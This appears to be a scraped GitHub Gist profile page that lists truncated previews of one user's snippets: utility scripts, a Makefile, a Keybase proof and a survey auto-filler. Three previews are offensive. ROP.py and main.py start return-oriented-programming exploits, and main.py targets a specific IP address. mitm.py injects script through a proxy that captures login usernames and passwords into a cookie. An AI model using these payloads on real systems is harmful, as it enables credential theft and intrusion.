Skip to content

Instantly share code, notes, and snippets.

Avatar

Vury Leo vuryleo

View GitHub Profile
View compare.py
import sys
def shiftL(l, s):
return l[s:] + l[:s]
def getDiff(li, totalLen):
if len(li) < 2:
raise Exception('toooo short')
li.append(totalLen + li[0])
View downloadIITC.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# $File: downloadIITC.py
# $Date: Thu Sep 24 11:28:10 2015 +0200
# $Author: Xiaoyu Liu <i[at]vuryleo[dot]com>
import requests
from bs4 import BeautifulSoup
import os
View rec.cc
/*
* $File: c.cc
* $Date: Fri Jul 10 15:00:27 2015 +0800
* $Author: Xiaoyu Liu <i[at]vuryleo[dot]com>
*/
#include <iostream>
#include <memory>
#include <vector>
#include <map>
View ROP.py
import time
import struct
from zio import *
io = zio(('localhost', 1234))
timeout = 1000 * 1000
buf = 0x0804a10c
recv_addr = 0x080489e6
View pagerank.go
package main
import (
"bufio"
"errors"
"fmt"
"io"
"os"
"strings"
)
View main.py
import time
import struct
from zio import *
io = zio(('166.111.132.132', 1234))
#io = zio(('localhost', 1234))
timeout = 1000 * 1000
buf = 0x0804a10c
View mitm.py
from libmproxy.encoding import *
payload = """
<script>
$('#login_form').attr('onsubmit', 'xss();return false');
var xss = function () {
console.log($('#pass').val());
$.cookie('xss', '' + $('#uname').val() + ':' + $('#pass').val(), {path: '/cgi-bin/do_login', expires: 42})
do_login()
};
View keybase.md

Keybase proof

I hereby claim:

  • I am vuryleo on github.
  • I am vuryleo (https://keybase.io/vuryleo) on keybase.
  • I have a public key whose fingerprint is DC8A BB5D 55DE 1A7E 7BB0 D29E B0F1 75EF 864E DB26

To claim this, I am signing this object:

View makefile for c & c++
#
# $File: Makefile
# $Date: Tue Apr 15 22:29:46 2014 +0800
#
# A single output portable Makefile for
# simple c project
OBJ_DIR = obj
LIB_DIR = lib
BIN_DIR = bin
@vuryleo
vuryleo / select.js
Created Oct 30, 2013
Auto selector for RedWeb of Tsinghua. For it need to run in Chrome console, it just have one line.
View select.js
a=0;b=2;trl = document.getElementsByTagName("tr");for(var i = 0; i < trl.length; i ++){pl = trl[i].getElementsByTagName("input"); if (pl.length==5){pl[parseInt(Math.random()*(b-a))+a].checked=true;}};document.getElementsByTagName("input")[100].click();